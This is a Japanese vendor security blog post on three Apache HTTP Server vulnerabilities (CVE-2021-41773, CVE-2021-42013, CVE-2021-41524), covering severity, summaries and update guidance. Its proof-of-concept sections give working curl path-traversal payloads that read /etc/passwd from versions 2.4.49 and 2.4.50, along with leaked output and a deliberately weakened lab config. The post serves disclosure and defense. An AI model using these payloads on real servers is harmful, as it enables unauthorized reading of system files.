Apache HTTP Serverの脆弱性情報(Critical: CVE-2021-42013, Important: CVE-2021-41773, Moderate: CVE-2021-41524) (PoCつき)と新バージョン(2.4.51)

こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面 和毅です。

10/05/2021にApache HTTP Serverの脆弱性情報(Important: CVE-2021-41773, Moderate: CVE-2021-41524)が公開されました。今回はこちらの脆弱性の概要と、各ディストリビューションの情報を纏めています。

「Apache HTTP Serverの脆弱性」が不適切なため「Apache HTTP Serverの脆弱性」に変更しました。山賀 正人さん、御指摘有難うございました。

【2021/10/06 19:30追記】PoC(CVE-2021-41773)を追加しました。

【2021/10/08 06:00追記】CVE-2021-41773の修正が不完全だったため、CVE-2021-42013が発行され修正バージョン(2.4.51)がリリースされました。

【2021/10/08 17:30追記】PoC(CVE-2021-42013)と動画へのリンクを追加しました。




Priority

CVE番号影響するバージョンPriorityCVSS Score / CVSS Vector
CVE-2021-42013apache = 2.4.49 , 2.4.50

Vendor: Critical

Red Hat: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE-2021-41773apache = 2.4.49

Vendor: Important

Red Hat: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE-2021-41524apache <= 2.4.49

Vendor: Moderate

Red Hat: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

修正方法

各ディストリビューションの情報を確認してください。

CVE概要(詳細はCVEのサイトをご確認ください)

  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
    • パストラバーサルとファイルの露出の脆弱性(2.4.49)
    • Apache HTTP サーバー 2.4.49でのパス正規化の変更点に問題が見つかりました。攻撃者はパストラバーサル攻撃を用いてドキュメントroot外のファイルにアクセスすることが出来ます。ドキュメントroot外のファイルが”require all denied”で保護されていない場合にはこのアクセスが成功します。さらにこの問題によりCGIスクリプトのようなファイルのソースが漏洩する可能性があります。

      この問題を悪用した攻撃も現在の所観測されていますので注意が必要です。

  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
    • パストラバーサルとファイルの露出の脆弱性(2.4.49)の不十分な修正
    • 上記のCVE-2021-41773の修正のためにリリースされた2.4.50に不完全な修正が含まれていました。ディレクトリがAliasの形でディレクティブで設定されていた場合、同様にパストラバーサルの問題が発生します。
  • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41524
    • h2ファジングによるNULLポインタ被参照による外部からのDoS
    • 2.4.49のhttpdをファジングしている際に、新たに外部からDoSを仕掛けることが可能な、HTTP/2リクエストの処理の際のNULLポインタ被参照の問題が見つかりました。

PoC(CVE-2021-41773)

PoC動画(Youtube)

環境:CentOS8 Stream, Apache 2.4.49

  • 前提:nftablesでhttp(80)にアクセスできるようにしておきます。また、yumでコンパイル環境、apr、pcreをインストールしておきます。
  • Apache 2.4.49をソースからインストールします。Apacheのサイトからソースをダウンロードして、適当なディレクトリでconfigure ; make ; sudo make installを行います(デフォルト構成だと/usr/local/apache2以下にインストールされます)。
  • /usr/local/apache2/conf/httpd.confファイルで下記のように修正します。
    
    #ServerName www.example.com:80
    ServerName xx.xx.xx.xx:80     <-- xx.xx.xx.xx(IPアドレス)
    #
    # Deny access to the entirety of your server's filesystem. You must
    # explicitly permit access to web content directories in other
    # <Directory> blocks below.
    #
    <Directory />
    AllowOverride none
    #Require all denied
    Require all granted      <-- /以外に出られないという強いアクセス制御を外す
    </Directory>
    --snip--
    
  • “/usr/local/apache2/bin/apachectl start”でApacheを起動します。Port80をbindして動きます。
  • 外部からApache(http://xx.xx.xx.xx)にアクセスできることを確認します。
    
    omo@outside:~/src$ curl http://xx.xx.xx.xx --head
    HTTP/1.1 200 OK
    Date: Wed, 06 Oct 2021 10:31:16 GMT
    Server: Apache/2.4.49 (Unix)           <-- Apache 2.4.49であることを確認。
    Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
    ETag: "2d-432a5e4a73a80"
    Accept-Ranges: bytes
    Content-Length: 45
    Content-Type: text/html
    
  • 外部からターゲットホストに対してcurlで以下のようにアクセスします
    
    omo@outside:~$ curl http://xx.xx.xx.xx/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    
  • パスワードファイルが出力されます。
    
    --snip--
    usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
    unbound:x:994:988:Unbound DNS resolver:/etc/unbound:/sbin/nologin
    gluster:x:993:987:GlusterFS daemons:/run/gluster:/sbin/nologin
    rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
    chrony:x:992:986::/var/lib/chrony:/sbin/nologin
    avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
    setroubleshoot:x:991:984::/var/lib/setroubleshoot:/sbin/nologin
    saslauth:x:990:76:Saslauthd user:/run/saslauthd:/sbin/nologin
    dnsmasq:x:983:983:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
    radvd:x:75:75:radvd user:/:/sbin/nologin
    sssd:x:982:982:User for sssd:/:/sbin/nologin
    cockpit-ws:x:981:980:User for cockpit web service:/nonexisting:/sbin/nologin
    cockpit-wsinstance:x:980:979:User for cockpit-ws instances:/nonexisting:/sbin/nologin
    

SELinux有効にして防げる、と言いたいですが、CentOS8の場合httpd-2.4.49.tar.gzでソースから入れている時点で、httpdプロセスはunconfined_tドメインで動いていますので、結果としてはSELinuxによる制限は(ソースから入れたhttpdに関しては)かかっていない状態になるため緩和策になっていません。緩和策にするためには、/usr/local/apache2以下を適切に割り振ってhttpdをhttpd_tドメインで動作させることで理論上は被害を最小限に出来るはずです。こちらも追って追試しようと思います。

PoC(CVE-2021-42013)

PoC動画(Youtube)

CVE-2021-42013のPoCをYoutube動画で公開しました。


omo@outside:~$ curl http://apache-test/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

の様にすると、httpd-2.4.50でもディレクトリトラバーサルが有効になってしまっていました(不完全な修正のため)。httpd-2.4.51ではこの点は修正されています。


主なディストリビューションの対応方法

詳細は、各ディストリビューションの提供元にご確認ください


対処方法

各ディストリビューションの案内に従い、アップデートを行ってください。全てのRed Hat製品でパッチが行き渡っているかを確認するには、Red Hat SatelliteKatello、Spacewalk等を使うと管理が便利でしょう。


セキュリティ系連載案内

日々のメモを更新しています。

セキュリティ関係で気になったニュースの備忘録を兼ねたメモを更新しています。個別で情報出せるようになる前の簡単な情報・リンクなんかも載せていきます。

セミナー情報1

コンピュータセキュリティシンポジウム(CSS)2021併設のワークショップ、 OSSセキュリティ技術ワークショップ(OWS) 2021の企画講演セッション及び、 一般論文セッションをさせていただきます。

今年もオンラインでの開催となり、OWSトラックの一般論文セッションと企画セッションを行いますので,ご参加よろしくお願いいたします。

https://www.iwsec.org/ows/2021/


タイトルとURLをコピーしました